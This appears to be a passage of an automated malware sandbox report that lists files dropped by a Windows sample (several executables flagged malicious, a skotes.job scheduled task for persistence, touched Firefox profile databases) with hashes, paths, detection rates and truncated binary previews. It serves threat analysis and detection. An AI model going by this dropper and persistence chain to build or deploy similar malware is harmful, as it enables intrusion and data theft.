File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.372860533790764
Encrypted:	false
SSDEEP:	48:SfNaoQOHoVOkoVObTEQOHoVOdfNaoQoQkfNaoQWObFOOQWOdwfNaoQ+FOQ0UrU0m:6NnQ9TEQSNnQoQQNnQWObFOOQWOmNnQh
MD5:	B868FD2428D5CD81E382FD4B5BEEF669
SHA1:	4E6C42FCFB7EF7F93C5977814404F14733F6BDED
SHA-256:	376CA7083CCF7E9B98252946BC449DC9F9DAC5D44F15C3A831B9B8A0B9F3098D
SHA-512:	1108769C3F1B9BA378F25B4F8F47FE6FB3D2FC0ABAE2844ED1155DDBAD8AA86A23297D0CE89F3E7624568F3D38681F228266B632A84585F602902A0917A7B1B0
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/FD1B415DD01A02FCEAEF1823929D23B5",.. "id": "FD1B415DD01A02FCEAEF1823929D23B5",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/FD1B415DD01A02FCEAEF1823929D23B5"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/65D5ED925DD936964B45C321623A2054",.. "id": "65D5ED925DD936964B45C321623A2054",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/65D5ED925DD936964B45C321623A2054"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	970752
Entropy (8bit):	6.703617203016791
Encrypted:	false
SSDEEP:	24576:UqDEvCTbMWu7rQYlBQcBiT6rprG8a9Qx0L:UTvC/MTQYxsWR7a9Q
MD5:	A6E76DEFCE11C0A2C4E7E8C1E32BF77B
SHA1:	1D9E39D29EDB36295463946F09E7A28FFED2E0B7
SHA-256:	A4EC34E2B6374167DD3D50BA33441D786982B99B0A2754869FE94C5886312852
SHA-512:	35A823C606CA15F1B325EBA6CD1FE9DD8F9C3D81ECEA0DA056C65AD73ACFA0A175FC52B08CEE1122288EA112E3D39B499E33C9AD548C981BE15BD3F9783A6287
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....Tg..........".......... ......w.............@..........................0............@...@.......@.....................d...\|....@..8d.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...8d...@...f..................@..@.reloc...u.......v...Z..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4269056
Entropy (8bit):	5.07546951914394
Encrypted:	false
SSDEEP:	49152:Xl4UjB0jUu8Xywd2qeDScrUXVIqWLskA:14UjKgufA
MD5:	399B2859420738500EB977F816FE61E1
SHA1:	3136C6CE4DE53EE344F51D99606BDD68B2116767
SHA-256:	C611FE9B5AE81CC5CCE3C7F428D98E082898EE4E76C8566100AC41527E4C9A18
SHA-512:	1BFA955FC301EE63D3B5BFBCEA2E9BD9D9DF8FF01ED634E6B6EB01B287CAC437D08AF9D4E61DA21D2FD3ECC3297A8CF1C2F514CB0E178B63BE65E366991DA086
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...r_@g.........."...........9................@..............................A...........`...................................................?.P.....A.......@..e............A...............................>.(....`..@.............?..............................text............................... ..`.rdata....8.......8.................@..@.data....6...p@......V@.............@....pdata...e....@..f...r@.............@..@.00cfg..8.... A.......@.............@..@.gxfg...."...0A.."....@.............@..@.retplne.....`A.......@..................tls.........pA.......@.............@..._RDATA........A.......A.............@..@.rsrc.........A.......A.............@..@.reloc........A.. ....A.............@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1853440
Entropy (8bit):	7.946657423670568
Encrypted:	false
SSDEEP:	49152:tLixOHn/vHVcO2ZvbTVuNeCr1bHMQSzHJuVHReOIBtUhWeqM:YGvitvbwNeCBDZS79/sWzM
MD5:	B952F0B56D2A88FC5F6C940C02819CB5
SHA1:	E5466EB9DA04FFEA50096D2580BCC3538F393157
SHA-256:	0BBDECF888463899AFFFC3CEAB9E64B889DB42D8E03DD322CBD7F28D1F65B320
SHA-512:	E37C982E778350FA9BA99BC61AD209D04FDCA9DAE886DB1AA5F7A59E0D8503BF6CA1DAD931D371466DF36CF327177DE68ED360977025D1CB55F73834C7CCC6C6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...b.Pg.............................`I...........@...........................I...........@.................................\0..p.... .......................1...................................................................................... . .........2..................@....rsrc........ .......B..............@....idata .....0.......F..............@... .0*..@.......H..............@...xjzjhlyk.....p/......J..............@...hglpilhu.....PI......"..............@....taggant.0...`I.."...&..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1786880
Entropy (8bit):	7.945522890925645
Encrypted:	false
SSDEEP:	49152:2ws6ayMsc8xJW79bKk8AN3K98PUxzP8+rGP:2ws6ayMmTymLs2xb82
MD5:	DEFDF92BE6053F805B80FFCF7850F3E3
SHA1:	D606C6240AFCF6A8ED74DF4406B51987C310559C
SHA-256:	AA1FA0262E58FAD0A03E9EE2DD446082E377B1E4F3317F74A70F81F84E217042
SHA-512:	BD6FB0B5134115A214E602A49279507599CE3D70A17671D1E6867F3FCCEE03F5F687B534276E2A5449F3C5394E4E25B8C9D5A93E0AF3E88E47AB63D82A9DFF6D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........h...........@...........................h...........@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@... . *...$......\|..............@...adtgofcj......N......~..............@...xgzatmop......h.....................@....taggant.0....h.."..."..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	970752
Entropy (8bit):	6.703617203016791
Encrypted:	false
SSDEEP:	24576:UqDEvCTbMWu7rQYlBQcBiT6rprG8a9Qx0L:UTvC/MTQYxsWR7a9Q
MD5:	A6E76DEFCE11C0A2C4E7E8C1E32BF77B
SHA1:	1D9E39D29EDB36295463946F09E7A28FFED2E0B7
SHA-256:	A4EC34E2B6374167DD3D50BA33441D786982B99B0A2754869FE94C5886312852
SHA-512:	35A823C606CA15F1B325EBA6CD1FE9DD8F9C3D81ECEA0DA056C65AD73ACFA0A175FC52B08CEE1122288EA112E3D39B499E33C9AD548C981BE15BD3F9783A6287
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....Tg..........".......... ......w.............@..........................0............@...@.......@.....................d...\|....@..8d.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...8d...@...f..................@..@.reloc...u.......v...Z..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Documents\EBFBKFBGII.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3294720
Entropy (8bit):	6.649281133720551
Encrypted:	false
SSDEEP:	49152:onLgOLpu/qsnCZ2MAGbmpk2r65AJShC6h/4hFhmJ6f:oLDLJsnCZ2MAGbmpk4SZhuFqu
MD5:	A359D8B520114D92895E10CFED863537
SHA1:	8CC5FEB43DC5096488CDC695C2AAEA7DFC3CF3A3
SHA-256:	5EAF7A84BAADE9EEDD02B65453EE46F0524B16755C790DEF5F56A02CA41B1E51
SHA-512:	5A2EC5EC4C7C4769A9307B369E4777BC4F5273A6D1D09069F33F6C3C043509A003E64E6A6E846DC87340BAE3ABDFAEBD76ED6CC40FAABE2D7666477FF83FDC73
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................P2...........@...........................2.......2...@.................................W...k............................82..............................72..................................................... . ............................@....rsrc...............................@....idata ............................@...oxusnhxb..+.......+.................@...orzkidtw.....@2...... 2.............@....taggant.0...P2.."...$2.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\EBFBKFBGII.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3294720
Entropy (8bit):	6.649281133720551
Encrypted:	false
SSDEEP:	49152:onLgOLpu/qsnCZ2MAGbmpk2r65AJShC6h/4hFhmJ6f:oLDLJsnCZ2MAGbmpk4SZhuFqu
MD5:	A359D8B520114D92895E10CFED863537
SHA1:	8CC5FEB43DC5096488CDC695C2AAEA7DFC3CF3A3
SHA-256:	5EAF7A84BAADE9EEDD02B65453EE46F0524B16755C790DEF5F56A02CA41B1E51
SHA-512:	5A2EC5EC4C7C4769A9307B369E4777BC4F5273A6D1D09069F33F6C3C043509A003E64E6A6E846DC87340BAE3ABDFAEBD76ED6CC40FAABE2D7666477FF83FDC73
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................P2...........@...........................2.......2...@.................................W...k............................82..............................72..................................................... . ............................@....rsrc...............................@....idata ............................@...oxusnhxb..+.......+.................@...orzkidtw.....@2...... 2.............@....taggant.0...P2.."...$2.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Documents\EBFBKFBGII.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.513023522108391
Encrypted:	false
SSDEEP:	6:Zto//DZXUKJUEZ+lX1CGdKUe6tcVAkXIEZ8MlW8+y0lztAl0ut0:Ze/rlvJQ1CGAFMkXd8kX+VzSldt0
MD5:	39BFA678B336F0D91FAF0B8829A1D487
SHA1:	6E56F561E62EDB9A0E72BE0066B20FC8C9729844
SHA-256:	76F76BDBFBFCE6303D6881089565AB2253B540D2FB33C1DEB32530446532880B
SHA-512:	58EF2C3259B4B0AB0E241CA61FC53D4BF6A0BD90B5FB8AAB57225267F974B69D63D16C9096CD2465E24E23F881EC79F034856A89381C4C68DF9AC68ED295830D
Malicious:	false
Preview:	....GSw...B./......F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0...................@3P.........................

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	134268
Entropy (8bit):	5.441942734985187
Encrypted:	false
SSDEEP:	3072:f5kX33ov7GsG688fJbk/5xnsaLWjwR2i6o:fy3lr6t2/5xnsaawR8o
MD5:	A3DFD4F00C84E87C9B8C2007671A833B
SHA1:	0967E8362CCBB7736DC81CDBABFADEBA7C605720
SHA-256:	F2AD030F0D2D1473673E3C5A912E13279711DD238CF99CF0C2F2098910F911BD
SHA-512:	4E672355CC9F9594DC20F43A6EE52B5860C587AF3C6DCC95429145FDD4B0A9BAE822EF7AB0ACB8BE27C73FFC4EAE165E42CBD4631E3A9A2C70A046A57C6302BF
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2412)
Category:	downloaded
Size (bytes):	179299
Entropy (8bit):	5.547369532089825
Encrypted:	false
SSDEEP:	3072:eEBR1XAUw+9+in7oNRFhJpGOa9VMgoeSWInJ+LBIwK555ypuq/dP/JlpNMWzeAx+:eKR1tw+9+i7GFhJcOa/MgoeSWIJ+LBI/
MD5:	E51B78D04BF7FEADF2B7281088079FD5
SHA1:	47E0DCBBC95DA92A2B5E973C33200C3DD82E18A6
SHA-256:	7E8CC44AC8BED91DC83AF132CA1F374227C3A634F9020FFC66720C74A8DBAA53
SHA-512:	5377F671601862CBB506C1B33AA5F5ACAC2C451998C8A1A8E8C6754D2D11C96484483C081FB3A0407BAF1329D70F41ADE5CAB27993B6FA631384243BFC890813
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.b6tg1FFzATM.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTv_QWZGpfkLjSgGX6lavnloO0T86g"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4771)
Category:	downloaded
Size (bytes):	4776
Entropy (8bit):	5.852299506333095
Encrypted:	false
SSDEEP:	96:ktgnlibFd66666pYjOBT4Do0eOy3lVGsA1022HevGoBhTWVx+3faqvNnV9zgfff3:u0wFd666662jOB0s0eOyzGPa2WevUxgs
MD5:	F7918A25B683FFF4D4411019BC7C1B73
SHA1:	297B15E7CEE73028571EB4869958D8BA455F0794
SHA-256:	4B90016FE9088BB5042C6A815304ACBB8923B25F0C9BDB1A00C6027CC37A7784
SHA-512:	A3080D2403B27AA5C6A021435E4B8CE94671F2F64ECE9A78F03473C1C9107EBA29D0835D4F0D1B877B1CCDBAB052395DBA5EE956753C78A4B48B9654AD568EB8
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["brady tkachuk rangers trade","christmas music christmas songs","monopoly go spreading the joy rewards","honda recalls","solo leveling reawakening","2025 fifa club world cup","bath and body works candle day candles","nyt strands december 7"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"Cg0vZy8xMXdmazg4d2R3EgkyMDI0IGZpbG0ygxZkYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUFBQVFBQkFBRC8yd0NFQUFrR0J3Z0hCZ2tJQndnS0Nna0xEUllQRFF3TURSc1VGUkFXSUIwaUlpQWRIeDhrS0RRc0pDWXhKeDhmTFQwdE1UVTNPam82SXlzL1JEODRRelE1T2pjQkNnb0tEUXdOR2c4UEdqY2xIeVUzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM04vL0FBQkVJQUVBQVFBTUJFUUFDRVFFREVRSC94QUFjQUFBQkJRRUJBUUFBQUFBQUFBQUFBQUFFQWdNRkJnY0JDQUQveEFBMkVBQUNBUUlGQWdRRUF3Y0ZBQUFBQUFBQkFnTUVFUUFGRWlFeEJrRVRJbEZoUW5HQm9SUXkwUW

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

\Device\Null

Download File

Process:	C:\Windows\System32\PING.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	283
Entropy (8bit):	4.84674468132717
Encrypted:	false
SSDEEP:	6:PzXULmWxHLTpUrUDOwUsW3CNcwAFeMmvVOIHJFxMVlmJHaVFlr1Ilr80yn:P+pTpcUqnsTDAFSkIrxMVlmJHaVv1UZy
MD5:	0C5350B252EEAAC53344AD1EA0C3CB21
SHA1:	B7AF4076D8916706D8370FBA3902D14610ABABB7
SHA-256:	B49600A2FAE3809A53FE0D2313053405295B7AC71ED45885FB8AB6D47BBA991B
SHA-512:	D404762DFAB7008F43B0B4DD0430C8C866B29CE5C867489EFB94C48165B4F189B1C048154DC1895158200976FC0F8FAABB25C035C701F4334F6D5BC3997E2663
Malicious:	false
Preview:	..Pinging 1.1.1.1 with 32 bytes of data:..Reply from 1.1.1.1: bytes=32 time=138ms TTL=55....Ping statistics for 1.1.1.1:.. Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),..Approximate round trip times in milli-seconds:.. Minimum = 138ms, Maximum = 138ms, Average = 138ms..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945522890925645
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'786'880 bytes
MD5:	defdf92be6053f805b80ffcf7850f3e3
SHA1:	d606c6240afcf6a8ed74df4406b51987c310559c
SHA256:	aa1fa0262e58fad0a03e9ee2dd446082e377b1e4f3317f74a70f81f84e217042
